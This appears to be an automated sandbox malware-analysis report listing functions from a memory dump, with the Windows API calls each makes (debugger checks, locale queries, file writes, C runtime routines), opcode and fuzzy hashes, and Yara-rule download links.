Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$__aligned_msize$DebugOutputString$__cftoe__strftime_l
String ID: P
API String ID: 4201128107-3110715001
Opcode ID: 726bcca4d34dec52630acbd50d7aa953a3dfa3734af356d9c75c185811f0a8d5
Instruction ID: 164198527f751a869ae00651d24b456784f705c025792252c09b577697da8d61
Opcode Fuzzy Hash: 726bcca4d34dec52630acbd50d7aa953a3dfa3734af356d9c75c185811f0a8d5
Instruction Fuzzy Hash: 8932AE71950218EFEB60CFD4CC84FDA7778BB49305F00C5A9F6096A281EB719A88CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6EC097B0, Relevance: 7.6, APIs: 5, Instructions: 116threadtimeCOMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,6EC09B96,6EC5E700,6ECDA5A0,6EC17094,?,6EC17094,6ECDA5A0,6EC5E700,00012010), ref: 6EC097C0
IsDebuggerPresent.KERNEL32(?,?,?,?,6EC09B96,6EC5E700,6ECDA5A0,6EC17094,?,6EC17094,6ECDA5A0,6EC5E700,00012010), ref: 6EC097FA

Part of subcall function 6EC09A50: OutputDebugStringW.KERNEL32(?,?,6EC097D9,00000000,?,?,?,?,6EC09B96,6EC5E700,6ECDA5A0,6EC17094,?,6EC17094,6ECDA5A0), ref: 6EC09A5B

CreateThread.KERNEL32(00000000,00000000,6EC099E0,?,00000000,00000000), ref: 6EC09852
std::_Timevec::_Timevec.LIBCPMTD ref: 6EC0985C
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000), ref: 6EC09894

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: DebuggerPresent$CreateDebugObjectOutputSingleStringThreadTimevecTimevec::_Waitstd::_
String ID:
API String ID: 3615580482-0
Opcode ID: a3e94ca89878c58cc4f869c8efd9d7be11d7c0c80c90872ca37ef9fc1aa234a8
Instruction ID: 8de3c24cd6178a35645e1d0811f89ff96e631447c1a55c3c1600010efc2612ee
Opcode Fuzzy Hash: a3e94ca89878c58cc4f869c8efd9d7be11d7c0c80c90872ca37ef9fc1aa234a8
Instruction Fuzzy Hash: 674143B1D04219ABDF04DFE5C851BEE77B8BF84304F008559E916AB284FB369745CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EC22960, Relevance: 6.2, APIs: 4, Instructions: 232COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32(0000FDE9), ref: 6EC22B30

Part of subcall function 6EC21E20: GetUserDefaultLCID.KERNEL32(?,?,6EC22AD3,?,?,?,?,?,?,?,?,?,6EC0E414,?,?,?), ref: 6EC21E36

IsValidLocale.KERNEL32(00000000,00000001), ref: 6EC22B4A
GetLocaleInfoW.KERNEL32(00000000,00001001,00000000,00000040,00000000,-00000120,00000055,00000000,00000000,?,00000055,00000000), ref: 6EC22BB3

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: LocaleValid$CodeDefaultInfoPageUser
String ID:
API String ID: 334263767-0
Opcode ID: 4835434708f6c79b20f67178e0859ca4fb7c88626767fc5355b5bcab148c2bdc
Instruction ID: 66cb8e084898ec60cc938fb072816fd18fe46e70fb6c862afe9502a3f33d2a96
Opcode Fuzzy Hash: 4835434708f6c79b20f67178e0859ca4fb7c88626767fc5355b5bcab148c2bdc
Instruction Fuzzy Hash: F1917EB0A10206DFEB18CFD5C961BBFB7B5BF45704F108428E905AB284E776E951CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EC22750, Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(217400E4,20001004,?,00000002,?,?,6EC22B0D), ref: 6EC2278D
GetACP.KERNEL32(?,?,6EC22B0D), ref: 6EC227A1
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 6EC227D2

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ad1a7da67be43b84a9d9b6e131a1bf9834ed9e2e4bb4d3077cc11394deafc3d5
Instruction ID: e9202ab4f26fd008bc230119668f26cfb65eaf1e8878ef1430c027772dff594a
Opcode Fuzzy Hash: ad1a7da67be43b84a9d9b6e131a1bf9834ed9e2e4bb4d3077cc11394deafc3d5
Instruction Fuzzy Hash: BA118E74628208AFDF48CEE1C9A5F9A7778BB04B45F108439F909DB144F731DA41E750

Uniqueness

Uniqueness Score: -1.00%

Function 6EC21E60, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6EC22040,00000001), ref: 6EC21F09

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: e7621825e022326341b4d7b78bf85b555c59c8c748c32b7a6023b10680a4d014
Instruction ID: 3e796cbb78535a68d9318fd62c3c3968d672bb9563888bf0ac6e61f6db77acab
Opcode Fuzzy Hash: e7621825e022326341b4d7b78bf85b555c59c8c748c32b7a6023b10680a4d014
Instruction Fuzzy Hash: 07210CB8910208EFDB04CFD8C894B9EBBB2FB49314F1085A8E8155B344E776EA55CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6EC21F40, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6EC224E0,00000001), ref: 6EC21FB2

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a538e902403d02eee02cd5b3e9d60fe826c914060df740e3e622e185447fe00b
Instruction ID: bbc0929f92655d8ca9bdc9678abb8593ea765b5c50e0883062f7546ed57f7e62
Opcode Fuzzy Hash: a538e902403d02eee02cd5b3e9d60fe826c914060df740e3e622e185447fe00b
Instruction Fuzzy Hash: FD110C74D00208EFDB04CFD9C594B9DB7B6EB45314F2085A4E8259B344E776AE95CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0BC30, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000), ref: 6EC0BC8C

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 500bd9702777a5a0e461f63444e213c2325ddc4136b997cbf41fcac82f7d7fa3
Instruction ID: 4d3f8ae5586202d5cc857cb9ba34195ba125b74f692cbb96d47dfd84554e556f
Opcode Fuzzy Hash: 500bd9702777a5a0e461f63444e213c2325ddc4136b997cbf41fcac82f7d7fa3
Instruction Fuzzy Hash: 3D01DE75A0020CFFCB44DFE5D995E9F77B9AF88700F108558F91997244DB31AA50CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EC21DB0, Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(6EC21C70,00000001), ref: 6EC21DF7

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: bb83e213e46aac291b6261f28a9e353f8bf9331552b0adb15ac2fcaf1f172ed4
Instruction ID: e89676577a72d49f924bdfc983af34778608b7f17258359b266ffd911bd85261
Opcode Fuzzy Hash: bb83e213e46aac291b6261f28a9e353f8bf9331552b0adb15ac2fcaf1f172ed4
Instruction Fuzzy Hash: 4FF03079900208EFDB00CFD8D945B9E7BB5EB45324F108594E8455B344E772EE94CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0B0B0, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00000000,00000001), ref: 6EC0B0D4

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 13c1b6214ca58c5268d4f713640686cdf47bf97425488edcde85255f809e991f
Instruction ID: 0fecf449c3d5f460b2eef2c73be63f37d5dcaac7de56ce82dd365356627f58a0
Opcode Fuzzy Hash: 13c1b6214ca58c5268d4f713640686cdf47bf97425488edcde85255f809e991f
Instruction Fuzzy Hash: 7EF065F4D04248ABDF00DFF4D906ADE7F78EB52214F0445A4E81897340FB32AA58C792

Uniqueness

Uniqueness Score: -1.00%

Function 6ECDB64D, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.772396939.000000006ECDB000.00000040.00020000.sdmp, Offset: 6ECDB000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: cf99b293f1c8c96912fc4de2b76a4d9c9318013d3efd74fad6426afd49a5ab02
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: D311E6733406019FD758CE99DC90F9673DAFB89230B258066EE04CB319E736E806C760

Uniqueness

Uniqueness Score: -1.00%

Function 6ECDB942, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.772396939.000000006ECDB000.00000040.00020000.sdmp, Offset: 6ECDB000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction ID: cdb760dbe6dfdcec856ad7bd492bc091e6d281c6473b5c64710b708ff1de362c
Opcode Fuzzy Hash: d6db8e1f961792d163c78665be140d0242f94593fd5b6291162898feff87c4c3
Instruction Fuzzy Hash: 020100363542818FD744DB6AE994E79F7F4EBC2324B15807EC6468361EE221EC49CA20

Uniqueness

Uniqueness Score: -1.00%

Function 6EC047C0, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5fa89dcbc29637d2ac05b4a81dd5d1e7e0efd0d5c3ecf96455fa5c90b4eae7d
Instruction ID: ec013853a598cf32096ba0ac49de849aa5e580889b742a5ac80ec6c97afd2546
Opcode Fuzzy Hash: b5fa89dcbc29637d2ac05b4a81dd5d1e7e0efd0d5c3ecf96455fa5c90b4eae7d
Instruction Fuzzy Hash: A2F0E52455D3C46ADB43CAEB40117EB7BB87F63305F0405C8C4805B246F12B850BD361

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0E220, Relevance: 28.8, APIs: 19, Instructions: 334COMMON

Download Yara Rule

APIs

__wcstombs_l.LIBCMTD ref: 6EC0E2D4
__invoke_watson_if_error.LIBCMTD ref: 6EC0E2DD
__aligned_msize.LIBCMTD ref: 6EC0E326
__invoke_watson_if_error.LIBCMTD ref: 6EC0E32F

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$__aligned_msize__wcstombs_l
String ID:
API String ID: 2802205028-0
Opcode ID: 6c62405edd57e6ce9d5307fa8b401bc663d5722aed8ce5dfb77ba223894644c1
Instruction ID: 75d3c5a4522066345ffdba5265b0de7f25fca6045f0c616c3209c7fa46d34baf
Opcode Fuzzy Hash: 6c62405edd57e6ce9d5307fa8b401bc663d5722aed8ce5dfb77ba223894644c1
Instruction Fuzzy Hash: C9C191B1950219AFDF20CF94DC52FDE7779AB44708F044499F908BB381F676AA908F94

Uniqueness

Uniqueness Score: -1.00%

Function 6EC16EB0, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

<program name unknown>, xrefs: 6EC16F8D

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID:
String ID: <program name unknown>
API String ID: 0-554726554
Opcode ID: 60422adf5f36bd0c3364225040be80d908efcb6d3b00cd46c2a971690c20d643
Instruction ID: 7152a83c4e697e4a4b41646f2c5af472b2f140079d30933c6e74f50ff9898dac
Opcode Fuzzy Hash: 60422adf5f36bd0c3364225040be80d908efcb6d3b00cd46c2a971690c20d643
Instruction Fuzzy Hash: 7741F6F5E502047BEB24EAE8DC55FDE7E299B90309F444864F504BF3C2FA31AA249391

Uniqueness

Uniqueness Score: -1.00%

Function 6EC24FD0, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__aligned_msize.LIBCMTD ref: 6EC250AF
__invoke_watson_if_error.LIBCMTD ref: 6EC250B8
__aligned_msize.LIBCMTD ref: 6EC25132
__invoke_watson_if_error.LIBCMTD ref: 6EC2513B

Strings

, xrefs: 6EC25013

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __aligned_msize__invoke_watson_if_error
String ID:
API String ID: 4254006664-3916222277
Opcode ID: b132acea7669627a21d6eafd4e6da43b99b2a52a9a115860523888d29b922343
Instruction ID: b7062fa7cfda90563c9fcf77c6336ea78a955e2e942f26145e99052c4200f249
Opcode Fuzzy Hash: b132acea7669627a21d6eafd4e6da43b99b2a52a9a115860523888d29b922343
Instruction Fuzzy Hash: 1C7179B4910208AFCF04DFD8D841BDEBBB6AF49308F148468E9146B389F735AA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE0AD0, Relevance: 16.7, APIs: 11, Instructions: 227COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6EBE0AE2
__sptype.LIBCMTD ref: 6EBE0B0A
__ctrlfp.LIBCMTD ref: 6EBE0B32
__except2.LIBCMTD ref: 6EBE0B96
__ctrlfp.LIBCMTD ref: 6EBE0BBA
__copysign.LIBCMTD ref: 6EBE0C4A
__except2.LIBCMTD ref: 6EBE0C71
__except2.LIBCMTD ref: 6EBE0CCE
__except2.LIBCMTD ref: 6EBE0D13

Part of subcall function 6EC110D0: __raise_exc.LIBCMTD ref: 6EC11143
Part of subcall function 6EC110D0: __errcode.LIBCMTD ref: 6EC1114F
Part of subcall function 6EC110D0: __umatherr.LIBCMTD ref: 6EC1119C

__except2.LIBCMTD ref: 6EBE0D70

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __except2$__ctrlfp$__copysign__errcode__raise_exc__sptype__umatherr
String ID:
API String ID: 2970023028-0
Opcode ID: 9a2d976f62fadab3b52d73def3456ed6c020f2bc808c03588975d694943a8b16
Instruction ID: 53b708a88579abd4c464ac0f2ac1ace8438e7458b3ab355a63f76d9db9545c0c
Opcode Fuzzy Hash: 9a2d976f62fadab3b52d73def3456ed6c020f2bc808c03588975d694943a8b16
Instruction Fuzzy Hash: 06813571C1894EDACB00BEE9E94A6EDBF74FF45349F0049A8E9D421188EF31427C9796

Uniqueness

Uniqueness Score: -1.00%

Function 6EC29A50, Relevance: 13.8, APIs: 9, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6EC2AB41,?,00000006,?), ref: 6EC29A88
__fassign.LIBCMTD ref: 6EC29BB3
__fassign.LIBCMTD ref: 6EC29C0D
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,6EC2AB41,00000005,00000000,00000000), ref: 6EC29D10
WriteFile.KERNEL32(?,6EC2AB41,00000000,?,00000000), ref: 6EC29D4D
GetLastError.KERNEL32 ref: 6EC29D57

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __fassign$ByteCharConsoleErrorFileLastMultiWideWrite
String ID:
API String ID: 3321916596-0
Opcode ID: d10af958b8a745207c7c792e0d1cb962874568b18772f99454396d96527129e8
Instruction ID: 116f9a9f0123548c02cc22c0c46c6ed6940d886f3da86348fa4b84ee16f05980
Opcode Fuzzy Hash: d10af958b8a745207c7c792e0d1cb962874568b18772f99454396d96527129e8
Instruction Fuzzy Hash: EDE11974A142099FCB04CF98D591ADEBBF2FF89314F14C169E919AB385E731E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EBD51B0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 293COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000,?,6EBD61A2,?,?,?,?,?,?,?,6EC094CC,00000002,?,00000000), ref: 6EBD51F0
__invoke_watson_if_error.LIBCMTD ref: 6EBD5293

Strings

@, xrefs: 6EBD52BC
@, xrefs: 6EBD535F

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: HandleModule__invoke_watson_if_error
String ID: @$@
API String ID: 3976807648-149943524
Opcode ID: 7a09ae6169bbdb4e24274a83a2e19a651be335d84c81ff7716c2c5a6f04f8884
Instruction ID: 702a683214a0639eb689560a7ddbcc7cd3133eb388af398764681c720f31b62b
Opcode Fuzzy Hash: 7a09ae6169bbdb4e24274a83a2e19a651be335d84c81ff7716c2c5a6f04f8884
Instruction Fuzzy Hash: 2FD1ADB0901269EFDB24DFD4CC48BDABB74EB54304F0041E9E5096A394E7709AE8CF96

Uniqueness

Uniqueness Score: -1.00%

Function 6EBD4CE0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 290COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,00000000), ref: 6EBD4D20
__invoke_watson_if_error.LIBCMTD ref: 6EBD4DC3

Strings

@, xrefs: 6EBD4E80
@, xrefs: 6EBD4DEC

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: HandleModule__invoke_watson_if_error
String ID: @$@
API String ID: 3976807648-149943524
Opcode ID: f4a7d3daa0c904bb144d3d5b4cb851db4c155bb0ac3f978d7cfa393baed5820a
Instruction ID: 40dd5ca71ebfc5531943cddee3f7ff262f50628dc4fd2bd5282018ae831f378a
Opcode Fuzzy Hash: f4a7d3daa0c904bb144d3d5b4cb851db4c155bb0ac3f978d7cfa393baed5820a
Instruction Fuzzy Hash: 3AD180B0900269DFDB24CF94CC49BDE7B75EB69305F0044E9E6096A380E7709AE9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE08F0, Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6EBE097A
__sptype.LIBCMTD ref: 6EBE09AD
__ctrlfp.LIBCMTD ref: 6EBE09D5
__ctrlfp.LIBCMTD ref: 6EBE09EE
__ctrlfp.LIBCMTD ref: 6EBE0A07
__except1.LIBCMTD ref: 6EBE0A37

Part of subcall function 6EC10FD0: __raise_exc.LIBCMTD ref: 6EC11031
Part of subcall function 6EC10FD0: __errcode.LIBCMTD ref: 6EC1103D
Part of subcall function 6EC10FD0: __umatherr.LIBCMTD ref: 6EC11089

__except1.LIBCMTD ref: 6EBE0A8A

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __ctrlfp$__except1$__errcode__raise_exc__sptype__umatherr
String ID:
API String ID: 2036792732-0
Opcode ID: a383dffd02f18e95aa796534bd4f3e0f9a5a42b31efe828b623e7c6055c29b79
Instruction ID: 0a140dd11f69cd720ab703ba5245b6e88011b929ac0ddd6180c1c31ddd9fefb2
Opcode Fuzzy Hash: a383dffd02f18e95aa796534bd4f3e0f9a5a42b31efe828b623e7c6055c29b79
Instruction Fuzzy Hash: 2D41C0B4D0414EE6DB00AFE8EC46BAD7F34EF06349F104964F984296C4FB74466C9792

Uniqueness

Uniqueness Score: -1.00%

Function 6EC14060, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 228COMMON

Download Yara Rule

Strings

", xrefs: 6EC1433D
", xrefs: 6EC14209
*, xrefs: 6EC1435C
*, xrefs: 6EC14177

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID:
String ID: "$"$*$*
API String ID: 0-3534430112
Opcode ID: 462166f4519b860926b2b205c28f90c32904058b71e2b049572088708b980a61
Instruction ID: e753925fc02c9833072e2adacdde741c67aa6385504784bb4fac1a87ac410d68
Opcode Fuzzy Hash: 462166f4519b860926b2b205c28f90c32904058b71e2b049572088708b980a61
Instruction Fuzzy Hash: A8918BB0914249EFEF14DFD0C854BDE7BB4BF45308F108518E5202B389E7B59A8ADB92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBD3DD0, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

UnDecorator::getTemplateName.LIBVCRUNTIMED ref: 6EBD3E44
und_strncmp.LIBCMTD ref: 6EBD3EC4
DName::getString.LIBCMTD ref: 6EBD3F59
Replicator::isFull.LIBCMTD ref: 6EBD4093

Strings

@, xrefs: 6EBD3E75

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: Decorator::getFullNameName::getReplicator::isStringTemplateund_strncmp
String ID: @
API String ID: 1106836056-2766056989
Opcode ID: 9179bb3751190e9abf4885675b1de6e887ba54b576390be3e1643bf9608f2c29
Instruction ID: 63641f332a847378ce1dc311165af7de7c9f252b74d202dd984e42e9593493b4
Opcode Fuzzy Hash: 9179bb3751190e9abf4885675b1de6e887ba54b576390be3e1643bf9608f2c29
Instruction Fuzzy Hash: D2916C759141899FCF05DFE4D9A0BEEBFB9FB49304F00846AE506A7240EB316909CF62

Uniqueness

Uniqueness Score: -1.00%

Function 6EC10400, Relevance: 9.4, APIs: 6, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f7bd01cdbfe8ed0c0ab1e975720b935501a1e96438acdcb2c267f50377fd4e9
Instruction ID: 174043b13d95a8d3c472497c568832ab71d801ca3f70d4d66506478e372db8b1
Opcode Fuzzy Hash: 9f7bd01cdbfe8ed0c0ab1e975720b935501a1e96438acdcb2c267f50377fd4e9
Instruction Fuzzy Hash: A3022370924209DFDB14CFD8C895BEEBBB0BF45324F108619E4256B2D4E734AA56DF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EC177A0, Relevance: 9.3, APIs: 6, Instructions: 317COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000), ref: 6EC1781C
__wcstombs_l.LIBCMTD ref: 6EC17861
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000), ref: 6EC178D6

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: ByteCharMultiWide$__wcstombs_l
String ID:
API String ID: 1695508394-0
Opcode ID: b9032eea99e5465da0a89776cf3030a13ce5c3d849c6cad5628da34f29cb3bb2
Instruction ID: 2a7738b49d1347d8159ae4d01024015b0108d53bcf5d2f826ac3ffecf5430c58
Opcode Fuzzy Hash: b9032eea99e5465da0a89776cf3030a13ce5c3d849c6cad5628da34f29cb3bb2
Instruction Fuzzy Hash: 21C108B1D18209EFDB04DFD8D890BEE7BB8BF49704F144558E511B7284EB30AA45EB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE0570, Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

__ctrlfp.LIBCMTD ref: 6EBE0587
__sptype.LIBCMTD ref: 6EBE05AF
__ctrlfp.LIBCMTD ref: 6EBE05D7
__ctrlfp.LIBCMTD ref: 6EBE05ED
__except1.LIBCMTD ref: 6EBE0621

Part of subcall function 6EC10FD0: __raise_exc.LIBCMTD ref: 6EC11031
Part of subcall function 6EC10FD0: __errcode.LIBCMTD ref: 6EC1103D
Part of subcall function 6EC10FD0: __umatherr.LIBCMTD ref: 6EC11089

__ctrlfp.LIBCMTD ref: 6EBE0646

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: __ctrlfp$__errcode__except1__raise_exc__sptype__umatherr
String ID:
API String ID: 2015137074-0
Opcode ID: ab2e24c6e2d74090d657c54aa33fbf88b72de4e2e04f783a912a0621f29fff3d
Instruction ID: fe1ed15429845fc15bb002431221c9a2f308217932d8cfbfa227784b7b4bdafe
Opcode Fuzzy Hash: ab2e24c6e2d74090d657c54aa33fbf88b72de4e2e04f783a912a0621f29fff3d
Instruction Fuzzy Hash: B921CF75D4420DEBCB10AFE8E8465EC7F74EF46345F2089A4F9981A684FF308628E752

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0FC10, Relevance: 7.8, APIs: 5, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0237f4c8edd501d848b0e8400853b008ee79b62113ad49cd2007d37e6d0f509
Instruction ID: 0b40035016f5983a321803e929676b34ec17e0a605962c3aca9af19db67e6c22
Opcode Fuzzy Hash: c0237f4c8edd501d848b0e8400853b008ee79b62113ad49cd2007d37e6d0f509
Instruction Fuzzy Hash: 23B14C70914248EFDB08CFD5C990BDEBBB4FF49314F208558E4256B298E735AE88CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6EC0DBF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

U, xrefs: 6EC0DC16

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 73db477108b0b2ef57a55c8d7d051a9d798babaa1134b5f75950d7612a2992ad
Instruction ID: e782e54455974b6d4c3ddb741788050439b8fd00d8e9868d9d669c97a816353d
Opcode Fuzzy Hash: 73db477108b0b2ef57a55c8d7d051a9d798babaa1134b5f75950d7612a2992ad
Instruction Fuzzy Hash: 6A11C475E10208FFCB40DAE8CC46F9E7B78AB44309F108994F509BB241F6B396408F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EC2A460, Relevance: 6.1, APIs: 4, Instructions: 146fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000), ref: 6EC2A5B0
GetLastError.KERNEL32 ref: 6EC2A5C5
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6EC2A655
GetLastError.KERNEL32 ref: 6EC2A65F

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: ErrorLast$ByteCharFileMultiWideWrite
String ID:
API String ID: 3971981585-0
Opcode ID: b7367d61778db55d2606c324616c59e879bf3f436acfe9f01d3a38d6bc3efb72
Instruction ID: 1cc7ab4035ec4054be582c1013df45a5e1ce692be465175057e586512d76890b
Opcode Fuzzy Hash: b7367d61778db55d2606c324616c59e879bf3f436acfe9f01d3a38d6bc3efb72
Instruction Fuzzy Hash: 0E7171B4A002299FCB24CF59C980AD9B7B5BF88304F5481E9E90DA7365D730AEC5CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6EC175F0, Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,00000000,00000000), ref: 6EC17652
__wcstombs_l.LIBCMTD ref: 6EC176A7
MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000), ref: 6EC1773A
GetStringTypeW.KERNEL32(?,00000000), ref: 6EC1777A

Memory Dump Source

Source File: 00000004.00000002.772187128.000000006EBCD000.00000020.00020000.sdmp, Offset: 6EBCD000, based on PE: false

Similarity

API ID: ByteCharMultiWide$StringType__wcstombs_l
String ID:
API String ID: 2895191225-0
Opcode ID: 2c52974eade614a4c73580898c8ae8ec0b20d98b3ab29a0f7d159079954c8970
Instruction ID: a0415f7658c257432c91f8c287ab7d31129a68e902a7ec6d45d6e156bfac88b7
Opcode Fuzzy Hash: 2c52974eade614a4c73580898c8ae8ec0b20d98b3ab29a0f7d159079954c8970
Instruction Fuzzy Hash: 4E513B74924208EFDB04DFE8C895FEEBBB8BF45304F104558E511B7284EB34AA45DBA1

Uniqueness

Uniqueness Score: -1.00%

